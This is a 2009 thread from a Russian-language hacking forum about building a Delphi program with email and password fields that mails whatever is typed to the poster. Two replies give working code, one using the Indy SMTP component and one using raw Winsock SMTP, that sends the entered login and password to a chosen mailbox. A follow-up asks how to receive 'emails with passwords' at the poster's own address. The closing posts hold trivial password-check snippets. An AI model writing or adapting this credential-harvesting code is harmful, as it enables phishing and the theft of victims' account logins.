ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

10.11.2009, 10:53
|
|
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме: 592199
Репутация:
21
|
|
двe edit на форме:
мыло, пасс.
И что бы после ввода скидывало на аську ил хотябы на мыло введённые данные
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, idMessage, IdEMailAddress, ExtCtrls,
wininet, XPMan, ComCtrls;
procedure TForm1.BtStartClick(Sender: TObject);
var
M: TIdMessage;
begin
M := TIdMessage.Create(Form1);
M.Body.Add(edit1.Text); //тут введенное мыло
M.Body.Add(edit2.Text); // тут введенный пароль
M.From.Text := '<Твое мыло>'; //отправитель
M.Recipients.Add;
M.Recipients.Items[0].Text := '<Твое мыло>'; //Получатель
M.Subject := 'Тема'; //Тема письма
IdSMTP1.AuthenticationType := atLogin;
if ComboBox1.Text='@mail.ru' then
IdSMTP1.Username := 'Твой логин';
IdSMTP1.Password := 'Твой пароль';
try
IdSMTP1.Connect();
if IdSMTP1.Connected then
begin
IdSMTP1.Send(M);
end;
IdSMTP1.Disconnect;
except end;
Наформу кинь idSMTP!
Вроде как то так
|
|
|

10.11.2009, 10:55
|
|
Познающий
Регистрация: 02.06.2009
Сообщений: 67
Провел на форуме: 237284
Репутация:
54
|
|
Код:
uses EncdDecd, WinSock2;
procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
Login, Password, MailFrom, MailTo, Subject, BodyText: string);
var
wsa: TWSAData;
sock: TSocket;
sock_addr: TSockAddrIn;
function get_ip(host: PChar): PChar;
var
host_ent: PHostEnt;
begin
host_ent := gethostbyname(host);
Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
end;
procedure send_str(str: string);
var
i: Integer;
begin
str := str + #13#10;
for i := 1 to Length(str) do
send(sock, str[i], 1, 0);
end;
begin
WSAStartup(WINSOCK_VERSION, wsa);
sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
if sock = INVALID_SOCKET then Exit;
sock_addr.sin_family := AF_INET;
sock_addr.sin_port := htons(SMTPPort);
sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
connect(sock, @sock_addr, SizeOf(sock_addr));
send_str('HELO SMTP');
send_str('AUTH LOGIN');
send_str(EncodeString(Login)); //логин в Base64
send_str(EncodeString(Password)); //пароль в Base64
send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
send_str('DATA');
send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
send_str('to:' + MailTo); //мыло получателя
send_str('subject:' + Subject + #13#10); //тема письма
send_str(BodyText); //текст письма
send_str('.');
send_str('QUIT');
closesocket(sock);
WSACleanUp;
end;
Использовать например так:
Код:
SendLetter(
'smtp.yandex.ru', 25,
'login', 'pass',
'login@yandex.ru', 'kawaii@gmail.com',
'Mail and Password',
Edit1.Text + ' : ' + Edit2.Text
);
Последний раз редактировалось Nullsleep; 10.11.2009 в 11:36..
|
|
|

10.11.2009, 11:37
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
Провел на форуме: 7879791
Репутация:
265
|
|
блин так я и не понял ничего
Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить
Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле
Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
|
|
|

10.11.2009, 13:23
|
|
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме: 592199
Репутация:
21
|
|
Вроде данны два понятных кода! =)
|
|
|

10.11.2009, 15:19
|
|
Banned
Регистрация: 25.11.2007
Сообщений: 62
Провел на форуме: 1702086
Репутация:
89
|
|
RumShun, решил  Сделал отдельный зацикленный поток с задержкой 
|
|
|

10.11.2009, 15:38
|
|
Участник форума
Регистрация: 03.07.2009
Сообщений: 151
Провел на форуме: 638378
Репутация:
41
|
|
Сообщение от stepashka_
блин так я и не понял ничего
Подскажите вот есть два окна для ввода мыла и пасса к нему
Внизу кнопка отправить
Как сделать что бы мыла с пассами шли на мой emeil??? мыло на майле
Подскажите плиз по подробнее к каждому окну
Да и ещё куда вводить своё мыло с пассом с которого будет идти отправка
"Подскажите вот есть два окна для ввода мыла и пасса к нему" - это у твоей программы или у чужой? Если у твоей, то на вопрос твой уже ответили вполне понятно.
А вот четвертый абзац я вообще не понял... Можешь еще раз попонятней сформулировать?
|
|
|

10.11.2009, 16:08
|
|
Познающий
Регистрация: 09.08.2009
Сообщений: 39
Провел на форуме: 298385
Репутация:
75
|
|
Сообщение от StealthMaster
Во втором юните напиши проверку пароля и выполни нужную функцию.
Сорри но в Delphi я новичек... как написать проверку пароля?
|
|
|

10.11.2009, 16:26
|
|
Познающий
Регистрация: 02.06.2009
Сообщений: 67
Провел на форуме: 237284
Репутация:
54
|
|
Код:
function CheckPass(pass: string): Boolean;
const
true_pass = 'mypassword123';
begin
Result := False;
if pass = true_pass then Result := True;
end;
Пример: http://webfile.ru/4073555
Последний раз редактировалось Nullsleep; 10.11.2009 в 16:43..
|
|
|

10.11.2009, 16:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 mr_walker так и пиши.
Код:
If pass <> 'пароль' then
begin
ReadDocAboutDelphiSyntax(My);
end
else
begin
VseRavnoGotoReadDocAboutDelphiSyntax(My);
end;
Прежде чем писать чтото, хотябы прочитай элементарные вещи связанные с синтаксисом хотябы паскаля.
Когда ты начал писать на бумаге, ты же начал с букв, а не сразу с письма на деревню дедушке.
В языках программирования точно такие же правила как и в любом языке.
Последний раз редактировалось slesh; 10.11.2009 в 16:32..
|
|
|

10.11.2009, 16:35
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 Nullsleep вообще более красивее этобы выглядело примерно так
Код:
function CheckPass(pass: string): Boolean;
const
true_pass = 'mypassword123';
begin
result := pass = true_pass;
end;
т.е. по идее на 1 команду меньше.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|